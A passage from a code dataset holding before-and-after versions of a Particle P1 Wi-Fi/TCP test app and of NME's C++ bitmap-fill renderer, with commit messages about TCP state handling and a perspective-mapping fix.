'\\n':\n case '\\r':\n break;\n case 't':\n size_t result = tcpClient.write(\"toc\"); \/\/ send toc back over tcp\n Serial.printf(\"hw->py: toc (%d bytes sent) \\n\", result); \/\/ confirm toc sent over tcp\n }\n Serial.printf(\"py->hw: %c\\n\", inByte); \/\/ confirm character received from tcp\n }\n }\n else{\n tcpClient.stop();\n \/\/ listen for a new client\n TCPClient newClient = tcpServer.available();\n if(newClient) {\n Serial.print(\"New TCP client\\n\");\n tcpClient.stop();\n tcpClient = newClient;\n }\n }\n }\n\n \/\/ print status on serial every second\n if ( millis() - last_update > 1000UL ) {\n last_update = millis();\n bool wifiReady = WiFi.ready();\n IPAddress ip = WiFi.localIP();\n int signal = WiFi.RSSI();\n int clientConnected = tcpClient.connected();\n Serial.printf(\n \"WiFi.ready(): %d\\t\\t\"\n \"IP: %d.%d.%d.%d\\t\\t\"\n \"RSSI: %d\\t\\t\"\n \"TCP client connected: %d\\t\\t\"\n \"millis(): %\" PRIu32 \"\\n\",\n wifiReady,\n ip[0],ip[1],ip[2],ip[3],\n signal,\n clientConnected,\n last_update);\n\n\n \/* When the signal gets below -80, the P1 will stop responding to TCP.\n * - It still has an IP\n * - It still has WiFi.ready() returning 1.\n * - The LED is still breathing green.\n *\n * There is one symptom that something is wrong though:\n * When TCP stopped working, the P1 would return RSSI 2.\n *\n * This seems to be a failed to get RSSI timeout:\n *\n int8_t WiFiClass::RSSI() {\n if (!network_ready(*this, 0, NULL))\n return 0;\n\n system_tick_t _functionStart = millis();\n while ((millis() - _functionStart) < 1000) {\n int rv = wlan_connected_rssi();\n if (rv != 0)\n return (rv);\n }\n return (2);\n }\n *\n * In an attempt to fix this, I tried disconnecting and reconnecting WiFi.\n * But WiFi.disconnect() gives a stack overflow SOS (13 blinks).\n *\/\n\n\n if(signal == 2){\n Serial.print(\"WiFi is in ERROR state. Resetting WiFi\");\n WiFi.disconnect();\n WiFi.connect(WIFI_CONNECT_SKIP_LISTEN);\n }\n }\n\n\n\n if ( millis() - lastLedToggle > 200UL ) {\n static bool ledOn = true;\n ledOn = !ledOn;\n digitalWrite(LED_PIN, ledOn);\n lastLedToggle = millis();\n }\n}\nOnly go to 'borked' state when not in stopped state in wifi test app#include \"application.h\"\n#include \n\nSYSTEM_MODE(MANUAL);\nSYSTEM_THREAD(ENABLED);\nSerialLogHandler traceLog(LOG_LEVEL_TRACE);\n\nstatic TCPServer tcpServer = TCPServer(6666);\nstatic TCPClient tcpClient;\n\n\n\/\/ Toggle LED pin to see that application loop is not blocked.\n\/\/ You could use D7 when testing with a Photon.\n\/\/ I'm using another pin here, because D7 is one of the SWD pins used by the debugger\nconst int LED_PIN = P1S0;\n\nenum tcp_state_enum {\n RUNNING_FINE,\n OH_NO_ITS_BORKED_PARTICLE,\n STOPPED,\n ALLOWED_TO_RESTART,\n};\n\nvolatile uint8_t tcp_state;\n\nvoid stopTcp(){\n tcpServer.stop();\n tcpClient.stop();\n Serial.print(\"TCP server stopped\\n\");\n}\n\nvoid startTcp(){\n tcpServer.begin();\n Serial.print(\"TCP server started\\n\");\n}\n\n\n\nvoid handle_network_events(system_event_t event, int param){\n switch(param){\n case network_status_powering_on:\n break;\n case network_status_on:\n break;\n case network_status_powering_off:\n break;\n case network_status_off:\n break;\n case network_status_connecting:\n \/\/ set a flag to restart the TCP server, outside of the system thread\n \/\/ restarting it here doesn't work\n \/\/ leaving it running doesn't work\n if(tcp_state != tcp_state_enum::STOPPED){\n tcp_state = tcp_state_enum::OH_NO_ITS_BORKED_PARTICLE;\n }\n break;\n case network_status_connected:\n tcp_state = tcp_state_enum::ALLOWED_TO_RESTART;\n break;\n default:\n break;\n }\n}\n\nvoid handle_cloud_events(system_event_t event, int param){\n switch(param){\n case cloud_status_connecting:\n break;\n case cloud_status_connected:\n break;\n case cloud_status_disconnecting:\n break;\n case cloud_status_disconnected:\n break;\n default:\n break;\n }\n}\n\n\nvoid setup() {\n Serial.begin(115200);\n pinMode(LED_PIN, OUTPUT);\n\n WiFi.connect(WIFI_CONNECT_SKIP_LISTEN);\n\n System.on(network_status, handle_network_events);\n System.on(cloud_status, handle_cloud_events);\n tcp_state = tcp_state_enum::ALLOWED_TO_RESTART;\n}\n\nvoid loop() {\n static uint32_t last_update = millis();\n static uint32_t lastLedToggle = millis();\n\n switch(tcp_state){\n case tcp_state_enum::RUNNING_FINE:\n break;\n case tcp_state_enum::OH_NO_ITS_BORKED_PARTICLE:\n Serial.print(\"Stopping TCP\\n\");\n stopTcp();\n tcp_state = tcp_state_enum::STOPPED;\n break;\n case tcp_state_enum::STOPPED:\n break;\n case tcp_state_enum::ALLOWED_TO_RESTART:\n Serial.print(\"Restarting TCP\\n\");\n startTcp();\n tcp_state = tcp_state_enum::RUNNING_FINE; \/\/ assume it is running fine afterwards\n break;\n\n }\n\n if(tcp_state == tcp_state_enum::RUNNING_FINE){\n if(tcpClient.status()){\n while (tcpClient.available() > 0) {\n char inByte = tcpClient.read();\n switch(inByte){\n case ' ':\n case '\\n':\n case '\\r':\n break;\n case 't':\n size_t result = tcpClient.write(\"toc\"); \/\/ send toc back over tcp\n Serial.printf(\"hw->py: toc (%d bytes sent) \\n\", result); \/\/ confirm toc sent over tcp\n }\n Serial.printf(\"py->hw: %c\\n\", inByte); \/\/ confirm character received from tcp\n }\n }\n else{\n tcpClient.stop();\n \/\/ listen for a new client\n TCPClient newClient = tcpServer.available();\n if(newClient) {\n Serial.print(\"New TCP client\\n\");\n tcpClient.stop();\n tcpClient = newClient;\n }\n }\n }\n\n \/\/ print status on serial every second\n if ( millis() - last_update > 1000UL ) {\n last_update = millis();\n bool wifiReady = WiFi.ready();\n IPAddress ip = WiFi.localIP();\n int signal = WiFi.RSSI();\n int clientConnected = tcpClient.connected();\n Serial.printf(\n \"WiFi.ready(): %d\\t\\t\"\n \"IP: %d.%d.%d.%d\\t\\t\"\n \"RSSI: %d\\t\\t\"\n \"TCP client connected: %d\\t\\t\"\n \"millis(): %\" PRIu32 \"\\n\",\n wifiReady,\n ip[0],ip[1],ip[2],ip[3],\n signal,\n clientConnected,\n last_update);\n\n\n \/* When the signal gets below -80, the P1 will stop responding to TCP.\n * - It still has an IP\n * - It still has WiFi.ready() returning 1.\n * - The LED is still breathing green.\n *\n * There is one symptom that something is wrong though:\n * When TCP stopped working, the P1 would return RSSI 2.\n *\n * This seems to be a failed to get RSSI timeout:\n *\n int8_t WiFiClass::RSSI() {\n if (!network_ready(*this, 0, NULL))\n return 0;\n\n system_tick_t _functionStart = millis();\n while ((millis() - _functionStart) < 1000) {\n int rv = wlan_connected_rssi();\n if (rv != 0)\n return (rv);\n }\n return (2);\n }\n *\n * In an attempt to fix this, I tried disconnecting and reconnecting WiFi.\n * But WiFi.disconnect() gives a stack overflow SOS (13 blinks).\n *\/\n\n\n if(signal == 2){\n Serial.print(\"\\n\\n\\nWiFi is in ERROR state. Resetting WiFi\\n\\n\\n\");\n WiFi.disconnect();\n WiFi.connect(WIFI_CONNECT_SKIP_LISTEN);\n }\n }\n\n\n\n if ( millis() - lastLedToggle > 200UL ) {\n static bool ledOn = true;\n ledOn = !ledOn;\n digitalWrite(LED_PIN, ledOn);\n lastLedToggle = millis();\n }\n}\n<|endoftext|>"} {"text":"#include \r\n#include \r\n#include \"Render.h\"\r\n\r\nnamespace nme\r\n{\r\n\r\nstatic bool IsPOW2(int inX)\r\n{\r\n return (inX & (inX-1)) == 0;\r\n}\r\n\r\nenum { EDGE_CLAMP, EDGE_REPEAT, EDGE_POW2 };\r\n\r\n\r\n#define GET_PIXEL_POINTERS \\\r\n int frac_x = (mPos.x & 0xff00) >> 8; \\\r\n int frac_nx = 0x100 - frac_x; \\\r\n int frac_y = (mPos.y & 0xffff); \\\r\n int frac_ny = 0x10000 - frac_y; \\\r\n \\\r\n if (EDGE == EDGE_CLAMP) \\\r\n { \\\r\n int x_step = 4; \\\r\n int y_step = mStride; \\\r\n \\\r\n if (x<0) { x_step = x = 0; } \\\r\n else if (x>=mW1) { x_step = 0; x = mW1; } \\\r\n \\\r\n if (y<0) { y_step = y = 0; } \\\r\n else if (y>=mH1) { y_step = 0; y = mH1; } \\\r\n \\\r\n const uint8 * ptr = mBase + y*mStride + x*4; \\\r\n p00 = *(ARGB *)ptr; \\\r\n p01 = *(ARGB *)(ptr + x_step); \\\r\n p10 = *(ARGB *)(ptr + y_step); \\\r\n p11 = *(ARGB *)(ptr + y_step + x_step); \\\r\n } \\\r\n else if (EDGE==EDGE_POW2) \\\r\n { \\\r\n const uint8 *p = mBase + (y&mH1)*mStride; \\\r\n \\\r\n p00 = *(ARGB *)(p+ (x & mW1)*4); \\\r\n p01 = *(ARGB *)(p+ ((x+1) & mW1)*4); \\\r\n \\\r\n p = mBase + ( (y+1) &mH1)*mStride; \\\r\n p10 = *(ARGB *)(p+ (x & mW1)*4); \\\r\n p11 = *(ARGB *)(p+ ((x+1) & mW1)*4); \\\r\n } \\\r\n else \\\r\n { \\\r\n int x1 = ((x+1) % mWidth) * 4; \\\r\n if (x1<0) x1+=mWidth; \\\r\n x = (x % mWidth)*4; \\\r\n if (x<0) x+=mWidth; \\\r\n \\\r\n int y0= (y%mHeight); if (y0<0) y0+=mHeight; \\\r\n const uint8 *p = mBase + y0*mStride; \\\r\n \\\r\n p00 = *(ARGB *)(p+ x); \\\r\n p01 = *(ARGB *)(p+ x1); \\\r\n\\\r\n int y1= ((y+1)%mHeight); if (y1<0) y1+=mHeight; \\\r\n p = mBase + y1*mStride; \\\r\n p10 = *(ARGB *)(p+ x); \\\r\n p11 = *(ARGB *)(p+ x1); \\\r\n }\r\n\r\n\r\n\r\n#define MODIFY_EDGE_XY \\\r\n if (EDGE == EDGE_CLAMP) \\\r\n { \\\r\n if (x<0) x = 0; \\\r\n else if (x>=mWidth) x = mW1; \\\r\n \\\r\n if (y<0) y = 0; \\\r\n else if (y>=mHeight) y = mH1; \\\r\n } \\\r\n else if (EDGE == EDGE_POW2) \\\r\n { \\\r\n x &= mW1; \\\r\n y &= mH1; \\\r\n } \\\r\n else if (EDGE == EDGE_REPEAT) \\\r\n { \\\r\n x = x % mWidth; if (x<0) x+=mWidth;\\\r\n y = y % mHeight; if (y<0) y+=mHeight;\\\r\n }\r\n\r\n\r\n\r\n\r\n\r\nclass BitmapFillerBase : public Filler\r\n{\r\npublic:\r\n BitmapFillerBase(GraphicsBitmapFill *inFill) : mBitmap(inFill)\r\n {\r\n mWidth = mBitmap->bitmapData->Width();\r\n mHeight = mBitmap->bitmapData->Height();\r\n mW1 = mWidth-1;\r\n mH1 = mHeight-1;\r\n mBase = mBitmap->bitmapData->GetBase();\r\n mStride = mBitmap->bitmapData->GetStride();\r\n mMapped = false;\r\n }\r\n\r\n inline void SetPos(int inSX,int inSY)\r\n {\r\n mPos.x = (int)( (mMapper.m00*inSX + mMapper.m01*inSY + mMapper.mtx) * (1<<16) + 0.5);\r\n mPos.y = (int)( (mMapper.m10*inSX + mMapper.m11*inSY + mMapper.mty) * (1<<16) + 0.5);\r\n }\r\n\r\n void SetupMatrix(const Matrix &inMatrix)\r\n {\r\n if (mMapped) return;\r\n\r\n \/\/ Get combined mapping matrix...\r\n Matrix mapper = inMatrix;\r\n mapper = mapper.Mult(mBitmap->matrix);\r\n mMapper = mapper.Inverse();\r\n \/\/mMapper.Scale(mWidth\/1638.4,mHeight\/1638.4);\r\n mMapper.Translate(0.5,0.5);\r\n\r\n mDPxDX = (int)(mMapper.m00 * (1<<16)+ 0.5);\r\n mDPyDX = (int)(mMapper.m10 * (1<<16)+ 0.5);\r\n }\r\n\r\n void SetMapping(const UserPoint *inVertex, const float *inUVT,int inComponents)\r\n {\r\n mMapped = true;\r\n double w = mBitmap->bitmapData->Width();\r\n double h = mBitmap->bitmapData->Height();\r\n \/\/ Solve tx = f(x,y), ty = f(x,y)\r\n double dx1 = inVertex[1].x-inVertex[0].x;\r\n double dy1 = inVertex[1].y-inVertex[0].y;\r\n double dx2 = inVertex[2].x-inVertex[0].x;\r\n double dy2 = inVertex[2].y-inVertex[0].y;\r\n double du1 = (inUVT[inComponents ] - inUVT[0])*w;\r\n double du2 = (inUVT[inComponents*2] - inUVT[0])*w;\r\n double dv1 = (inUVT[inComponents +1] - inUVT[1])*h;\r\n double dv2 = (inUVT[inComponents*2+1] - inUVT[1])*h;\r\n double dw1 = inComponents==3 ? inUVT[inComponents+2]-inUVT[2] : 0;\r\n double dw2 = inComponents==3 ? inUVT[inComponents*2+2]-inUVT[2] : 0;\r\n \/\/ u = a*x + b*y + c\r\n \/\/ u0 = a*v0.x + b*v0.y + c\r\n \/\/ u1 = a*v1.x + b*v1.y + c\r\n \/\/ u2 = a*v2.x + b*v2.y + c\r\n \/\/\r\n \/\/ (u1-u0) = a*(v1.x-v0.x) + b*(v1.y-v0.y) = du1 = a*dx1 + b*dy1\r\n \/\/ (u2-u0) = a*(v2.x-v0.x) + b*(v2.y-v0.y) = du2 = a*dx2 + b*dy2\r\n \/\/\r\n \/\/ du1*dy2 - du2*dy1= a*(dx1*dy2 - dx2*dy1)\r\n double det = dx1*dy2 - dx2*dy1;\r\n if (det==0)\r\n {\r\n \/\/ TODO: x-only or y-only\r\n mMapper = Matrix(0,0,inUVT[0],inUVT[1]);\r\n mWX = mWY = 0;\r\n mWC = 1;\r\n }\r\n else\r\n {\r\n det = 1.0\/det;\r\n\r\n double a = mMapper.m00 = (du1*dy2 - du2*dy1)*det;\r\n double b = mMapper.m01 = dy1!=0 ? (du1-a*dx1)\/dy1 : dy2!=0 ? (du1-a*dx2)\/dy2 : 0;\r\n mMapper.mtx = inUVT[0]*w - a*inVertex[0].x - b*inVertex[0].y;\r\n\r\n a = mMapper.m10 = (dv1*dy2 - dv2*dy1)*det;\r\n b = mMapper.m11 = dy1!=0 ? (dv1-a*dx1)\/dy1 : dy2!=0 ? (dv1-a*dx2)\/dy2 : 0;\r\n mMapper.mty = inUVT[1]*h - a*inVertex[0].x - b*inVertex[0].y;\r\n\r\n if (mPerspective)\r\n {\r\n mWX = (dv1*dy2 - dv2*dy1)*det;\r\n }\r\n }\r\n\r\n mMapper.Translate(0.5,0.5);\r\n\r\n mDPxDX = (int)(mMapper.m00 * (1<<16)+ 0.5);\r\n mDPyDX = (int)(mMapper.m10 * (1<<16)+ 0.5);\r\n\r\n }\r\n\r\n\r\n\r\n const uint8 *mBase;\r\n int mStride;\r\n\r\n ImagePoint mPos;\r\n int mDPxDX;\r\n int mDPyDX;\r\n int mWidth;\r\n int mHeight;\r\n int mW1;\r\n int mH1;\r\n bool mMapped;\r\n double mWX, mWY, mWZ;\r\n double mTX, mTY, mTZ;\r\n Matrix mMapper;\r\n GraphicsBitmapFill *mBitmap;\r\n};\r\n\r\n\r\ntemplate\r\nclass BitmapFiller : public BitmapFillerBase\r\n{\r\npublic:\r\n enum { HasAlpha = HAS_ALPHA };\r\n\r\n BitmapFiller(GraphicsBitmapFill *inFill) : BitmapFillerBase(inFill) { }\r\n\r\n ARGB GetInc( )\r\n {\r\n int x = mPos.x >> 16;\r\n int y = mPos.y >> 16;\r\n if (SMOOTH)\r\n {\r\n ARGB result;\r\n\r\n ARGB p00,p01,p10,p11;\r\n\r\n GET_PIXEL_POINTERS\r\n\r\n mPos.x += mDPxDX;\r\n mPos.y += mDPyDX;\r\n\r\n result.c0 = ( (p00.c0*frac_nx + p01.c0*frac_x)*frac_ny +\r\n ( p10.c0*frac_nx + p11.c0*frac_x)*frac_y ) >> 24;\r\n result.c1 = ( (p00.c1*frac_nx + p01.c1*frac_x)*frac_ny +\r\n ( p10.c1*frac_nx + p11.c1*frac_x)*frac_y ) >> 24;\r\n result.c2 = ( (p00.c2*frac_nx + p01.c2*frac_x)*frac_ny +\r\n ( p10.c2*frac_nx + p11.c2*frac_x)*frac_y ) >> 24;\r\n\r\n if (HAS_ALPHA)\r\n {\r\n result.a = ( (p00.a*frac_nx + p01.a*frac_x)*frac_ny +\r\n (p10.a*frac_nx + p11.a*frac_x)*frac_y ) >> 24;\r\n }\r\n else\r\n result.a = 255;\r\n return result;\r\n }\r\n else\r\n {\r\n mPos.x += mDPxDX;\r\n mPos.y += mDPyDX;\r\n MODIFY_EDGE_XY;\r\n return *(ARGB *)( mBase + y*mStride + x*4);\r\n }\r\n }\r\n\r\n void Fill(const AlphaMask &mAlphaMask,int inTX,int inTY,\r\n const RenderTarget &inTarget,const RenderState &inState)\r\n {\r\n SetupMatrix(*inState.mTransform.mMatrix);\r\n\r\n bool swap = (inTarget.mPixelFormat & pfSwapRB) != (mBitmap->bitmapData->Format() & pfSwapRB);\r\n Render( mAlphaMask, *this, inTarget, swap, inState, inTX,inTY );\r\n }\r\n\r\n};\r\n\r\n\r\n\/\/ --- Pseudo constructor ---------------------------------------------------------------\r\n\r\ntemplate\r\nstatic Filler *CreateAlpha(GraphicsBitmapFill *inFill)\r\n{\r\n if (inFill->bitmapData->Format() & pfHasAlpha)\r\n return new BitmapFiller(inFill);\r\n else\r\n return new BitmapFiller(inFill);\r\n}\r\n\r\ntemplate\r\nstatic Filler *CreatePerspective(GraphicsBitmapFill *inFill,bool inPerspective)\r\n{\r\n if (inPerspective)\r\n return CreateAlpha(inFill);\r\n else\r\n return CreateAlpha(inFill);\r\n \r\n}\r\n\r\ntemplate\r\nstatic Filler *CreateSmooth(GraphicsBitmapFill *inFill,bool inPerspective)\r\n{\r\n if (inFill->smooth)\r\n return CreatePerspective(inFill,inPerspective);\r\n else\r\n return CreatePerspective(inFill,inPerspective);\r\n}\r\n\r\nFiller *Filler::Create(GraphicsBitmapFill *inFill,bool inPerspective)\r\n{\r\n if (inFill->repeat)\r\n {\r\n if ( IsPOW2(inFill->bitmapData->Width()) && IsPOW2(inFill->bitmapData->Height()) )\r\n return CreateSmooth(inFill,inPerspective);\r\n else\r\n return CreateSmooth(inFill,inPerspective);\r\n }\r\n else\r\n return CreateSmooth(inFill,inPerspective);\r\n}\r\n\r\n\r\n} \/\/ end namespace nme\r\n\r\nFix perspective mapping#include \r\n#include \r\n#include \"Render.h\"\r\n\r\nnamespace nme\r\n{\r\n\r\nstatic bool IsPOW2(int inX)\r\n{\r\n return (inX & (inX-1)) == 0;\r\n}\r\n\r\nenum { EDGE_CLAMP, EDGE_REPEAT, EDGE_POW2 };\r\n\r\n\r\n#define GET_PIXEL_POINTERS \\\r\n int frac_x = (mPos.x & 0xff00) >> 8; \\\r\n int frac_nx = 0x100 - frac_x; \\\r\n int frac_y = (mPos.y & 0xffff); \\\r\n int frac_ny = 0x10000 - frac_y; \\\r\n \\\r\n if (EDGE == EDGE_CLAMP) \\\r\n { \\\r\n int x_step = 4; \\\r\n int y_step = mStride; \\\r\n \\\r\n if (x<0) { x_step = x = 0; } \\\r\n else if (x>=mW1) { x_step = 0; x = mW1; } \\\r\n \\\r\n if (y<0) { y_step = y = 0; } \\\r\n else if (y>=mH1) { y_step = 0; y = mH1; } \\\r\n \\\r\n const uint8 * ptr = mBase + y*mStride + x*4; \\\r\n p00 = *(ARGB *)ptr; \\\r\n p01 = *(ARGB *)(ptr + x_step); \\\r\n p10 = *(ARGB *)(ptr + y_step); \\\r\n p11 = *(ARGB *)(ptr + y_step + x_step); \\\r\n } \\\r\n else if (EDGE==EDGE_POW2) \\\r\n { \\\r\n const uint8 *p = mBase + (y&mH1)*mStride; \\\r\n \\\r\n p00 = *(ARGB *)(p+ (x & mW1)*4); \\\r\n p01 = *(ARGB *)(p+ ((x+1) & mW1)*4); \\\r\n \\\r\n p = mBase + ( (y+1) &mH1)*mStride; \\\r\n p10 = *(ARGB *)(p+ (x & mW1)*4); \\\r\n p11 = *(ARGB *)(p+ ((x+1) & mW1)*4); \\\r\n } \\\r\n else \\\r\n { \\\r\n int x1 = ((x+1) % mWidth) * 4; \\\r\n if (x1<0) x1+=mWidth; \\\r\n x = (x % mWidth)*4; \\\r\n if (x<0) x+=mWidth; \\\r\n \\\r\n int y0= (y%mHeight); if (y0<0) y0+=mHeight; \\\r\n const uint8 *p = mBase + y0*mStride; \\\r\n \\\r\n p00 = *(ARGB *)(p+ x); \\\r\n p01 = *(ARGB *)(p+ x1); \\\r\n\\\r\n int y1= ((y+1)%mHeight); if (y1<0) y1+=mHeight; \\\r\n p = mBase + y1*mStride; \\\r\n p10 = *(ARGB *)(p+ x); \\\r\n p11 = *(ARGB *)(p+ x1); \\\r\n }\r\n\r\n\r\n\r\n#define MODIFY_EDGE_XY \\\r\n if (EDGE == EDGE_CLAMP) \\\r\n { \\\r\n if (x<0) x = 0; \\\r\n else if (x>=mWidth) x = mW1; \\\r\n \\\r\n if (y<0) y = 0; \\\r\n else if (y>=mHeight) y = mH1; \\\r\n } \\\r\n else if (EDGE == EDGE_POW2) \\\r\n { \\\r\n x &= mW1; \\\r\n y &= mH1; \\\r\n } \\\r\n else if (EDGE == EDGE_REPEAT) \\\r\n { \\\r\n x = x % mWidth; if (x<0) x+=mWidth;\\\r\n y = y % mHeight; if (y<0) y+=mHeight;\\\r\n }\r\n\r\n\r\n\r\n\r\n\r\nclass BitmapFillerBase : public Filler\r\n{\r\npublic:\r\n BitmapFillerBase(GraphicsBitmapFill *inFill) : mBitmap(inFill)\r\n {\r\n mWidth = mBitmap->bitmapData->Width();\r\n mHeight = mBitmap->bitmapData->Height();\r\n mW1 = mWidth-1;\r\n mH1 = mHeight-1;\r\n mBase = mBitmap->bitmapData->GetBase();\r\n mStride = mBitmap->bitmapData->GetStride();\r\n mMapped = false;\r\n\t\tmPerspective = false;\r\n }\r\n\r\n\r\n void SetupMatrix(const Matrix &inMatrix)\r\n {\r\n if (mMapped) return;\r\n\r\n \/\/ Get combined mapping matrix...\r\n Matrix mapper = inMatrix;\r\n mapper = mapper.Mult(mBitmap->matrix);\r\n mMapper = mapper.Inverse();\r\n \/\/mMapper.Scale(mWidth\/1638.4,mHeight\/1638.4);\r\n mMapper.Translate(0.5,0.5);\r\n\r\n mDPxDX = (int)(mMapper.m00 * (1<<16)+ 0.5);\r\n mDPyDX = (int)(mMapper.m10 * (1<<16)+ 0.5);\r\n }\r\n\r\n void SetMapping(const UserPoint *inVertex, const float *inUVT,int inComponents)\r\n {\r\n mMapped = true;\r\n double w = mBitmap->bitmapData->Width();\r\n double h = mBitmap->bitmapData->Height();\r\n \/\/ Solve tx = f(x,y), ty = f(x,y)\r\n double dx1;\r\n double dy1;\r\n double dx2;\r\n double dy2;\r\n double du1;\r\n double du2;\r\n double dv1;\r\n double dv2;\r\n double dw1=0;\r\n double dw2=0;\r\n\t\tdouble w0=1,w1=1,w2=1;\r\n\t\tif (inComponents==3)\r\n\t\t{\r\n\t\t\tw0 = inUVT[2];\r\n\t\t\tw1 = inUVT[3+2];\r\n\t\t\tw2 = inUVT[6+2];\r\n\t\t\t\/\/w0 = w1 = w2 = 1.0;\r\n\t\t\tdx1 = inVertex[1].x-inVertex[0].x;\r\n dy1 = inVertex[1].y-inVertex[0].y;\r\n dx2 = inVertex[2].x-inVertex[0].x;\r\n dy2 = inVertex[2].y-inVertex[0].y;\r\n du1 = (inUVT[inComponents ]*w1 - inUVT[0]*w0)*w;\r\n du2 = (inUVT[inComponents*2]*w2 - inUVT[0]*w0)*w;\r\n dv1 = (inUVT[inComponents +1]*w1 - inUVT[1]*w0)*h;\r\n dv2 = (inUVT[inComponents*2+1]*w2 - inUVT[1]*w0)*h;\r\n\r\n dw1 = w1 - w0;\r\n dw2 = w2 - w0;\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t dx1 = inVertex[1].x-inVertex[0].x;\r\n dy1 = inVertex[1].y-inVertex[0].y;\r\n dx2 = inVertex[2].x-inVertex[0].x;\r\n dy2 = inVertex[2].y-inVertex[0].y;\r\n du1 = (inUVT[inComponents ] - inUVT[0])*w;\r\n du2 = (inUVT[inComponents*2] - inUVT[0])*w;\r\n dv1 = (inUVT[inComponents +1] - inUVT[1])*h;\r\n dv2 = (inUVT[inComponents*2+1] - inUVT[1])*h;\r\n\t\t}\r\n\r\n \/\/ u = a*x + b*y + c\r\n \/\/ u0 = a*v0.x + b*v0.y + c\r\n \/\/ u1 = a*v1.x + b*v1.y + c\r\n \/\/ u2 = a*v2.x + b*v2.y + c\r\n \/\/\r\n \/\/ (u1-u0) = a*(v1.x-v0.x) + b*(v1.y-v0.y) = du1 = a*dx1 + b*dy1\r\n \/\/ (u2-u0) = a*(v2.x-v0.x) + b*(v2.y-v0.y) = du2 = a*dx2 + b*dy2\r\n \/\/\r\n \/\/ du1*dy2 - du2*dy1= a*(dx1*dy2 - dx2*dy1)\r\n double det = dx1*dy2 - dx2*dy1;\r\n if (det==0)\r\n {\r\n \/\/ TODO: x-only or y-only\r\n mMapper = Matrix(0,0,inUVT[0],inUVT[1]);\r\n mWX = mWY = 0;\r\n mW0 = 1;\r\n }\r\n else\r\n {\r\n det = 1.0\/det;\r\n\r\n double a = mMapper.m00 = (du1*dy2 - du2*dy1)*det;\r\n double b = mMapper.m01 = (du2*dx1 - du1*dx2)*det;\r\n mMapper.mtx = (inUVT[0]*w*w0 - a*inVertex[0].x - b*inVertex[0].y);\r\n\r\n a = mMapper.m10 = (dv1*dy2 - dv2*dy1)*det;\r\n\t\t\tb = (dv2*dx1 - dv1*dx2)*det;\r\n mMapper.mty = (inUVT[1]*h*w0 - a*inVertex[0].x - b*inVertex[0].y);\r\n\r\n if (mPerspective && inComponents>2)\r\n {\r\n a = mWX = (dw1*dy2 - dw2*dy1)*det;\r\n b = mWY = (dw2*dx1 - dw1*dx2)*det;\r\n mW0= w0 - a*inVertex[0].x - b*inVertex[0].y;\r\n }\r\n }\r\n\r\n mMapper.Translate(0.5,0.5);\r\n\r\n\t\tif (!mPerspective || inComponents<3)\r\n\t\t{\r\n mDPxDX = (int)(mMapper.m00 * (1<<16)+ 0.5);\r\n mDPyDX = (int)(mMapper.m10 * (1<<16)+ 0.5);\r\n\t\t}\r\n }\r\n\r\n\r\n\r\n const uint8 *mBase;\r\n int mStride;\r\n\r\n ImagePoint mPos;\r\n int mDPxDX;\r\n int mDPyDX;\r\n int mWidth;\r\n int mHeight;\r\n int mW1;\r\n int mH1;\r\n bool mMapped;\r\n bool mPerspective;\r\n double mWX, mWY, mW0;\r\n double mTX, mTY, mTW;\r\n Matrix mMapper;\r\n GraphicsBitmapFill *mBitmap;\r\n};\r\n\r\n\r\ntemplate\r\nclass BitmapFiller : public BitmapFillerBase\r\n{\r\npublic:\r\n enum { HasAlpha = HAS_ALPHA };\r\n\r\n BitmapFiller(GraphicsBitmapFill *inFill) : BitmapFillerBase(inFill)\r\n\t{\r\n\t\tmPerspective = PERSP;\r\n\t}\r\n\r\n ARGB GetInc( )\r\n {\r\n\t\tif (PERSP)\r\n\t\t{\r\n double w = 65536.0\/mTW;\r\n mPos.x = (int)(mTX*w);\r\n mPos.y = (int)(mTY*w);\r\n\t\t\tmTX += mMapper.m00;\r\n\t\t\tmTY += mMapper.m10;\r\n\t\t\tmTW += mWX;\r\n\t\t}\r\n int x = mPos.x >> 16;\r\n int y = mPos.y >> 16;\r\n if (SMOOTH)\r\n {\r\n ARGB result;\r\n\r\n ARGB p00,p01,p10,p11;\r\n\r\n GET_PIXEL_POINTERS\r\n\r\n\t\t\tif (!PERSP)\r\n\t\t\t{\r\n mPos.x += mDPxDX;\r\n mPos.y += mDPyDX;\r\n\t\t\t}\r\n\r\n result.c0 = ( (p00.c0*frac_nx + p01.c0*frac_x)*frac_ny +\r\n ( p10.c0*frac_nx + p11.c0*frac_x)*frac_y ) >> 24;\r\n result.c1 = ( (p00.c1*frac_nx + p01.c1*frac_x)*frac_ny +\r\n ( p10.c1*frac_nx + p11.c1*frac_x)*frac_y ) >> 24;\r\n result.c2 = ( (p00.c2*frac_nx + p01.c2*frac_x)*frac_ny +\r\n ( p10.c2*frac_nx + p11.c2*frac_x)*frac_y ) >> 24;\r\n\r\n if (HAS_ALPHA)\r\n {\r\n result.a = ( (p00.a*frac_nx + p01.a*frac_x)*frac_ny +\r\n (p10.a*frac_nx + p11.a*frac_x)*frac_y ) >> 24;\r\n }\r\n else\r\n result.a = 255;\r\n return result;\r\n }\r\n else\r\n {\r\n\t\t\tif (!PERSP)\r\n\t\t\t{\r\n mPos.x += mDPxDX;\r\n mPos.y += mDPyDX;\r\n\t\t\t}\r\n MODIFY_EDGE_XY;\r\n return *(ARGB *)( mBase + y*mStride + x*4);\r\n }\r\n }\r\n\r\n inline void SetPos(int inSX,int inSY)\r\n {\r\n\t\tif (PERSP)\r\n\t\t{\r\n\t\t double x = inSX;\r\n double y = inSY;\r\n mTX = mMapper.m00*x + mMapper.m01*y + mMapper.mtx;\r\n mTY = mMapper.m10*x + mMapper.m11*y + mMapper.mty;\r\n mTW = mWX*x + mWY*y + mW0;\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n mPos.x = (int)( (mMapper.m00*inSX + mMapper.m01*inSY + mMapper.mtx) * (1<<16) + 0.5);\r\n mPos.y = (int)( (mMapper.m10*inSX + mMapper.m11*inSY + mMapper.mty) * (1<<16) + 0.5);\r\n\t\t}\r\n }\r\n\r\n\r\n void Fill(const AlphaMask &mAlphaMask,int inTX,int inTY,\r\n const RenderTarget &inTarget,const RenderState &inState)\r\n {\r\n SetupMatrix(*inState.mTransform.mMatrix);\r\n\r\n bool swap = (inTarget.mPixelFormat & pfSwapRB) != (mBitmap->bitmapData->Format() & pfSwapRB);\r\n Render( mAlphaMask, *this, inTarget, swap, inState, inTX,inTY );\r\n }\r\n\r\n};\r\n\r\n\r\n\/\/ --- Pseudo constructor ---------------------------------------------------------------\r\n\r\ntemplate\r\nstatic Filler *CreateAlpha(GraphicsBitmapFill *inFill)\r\n{\r\n if (inFill->bitmapData->Format() & 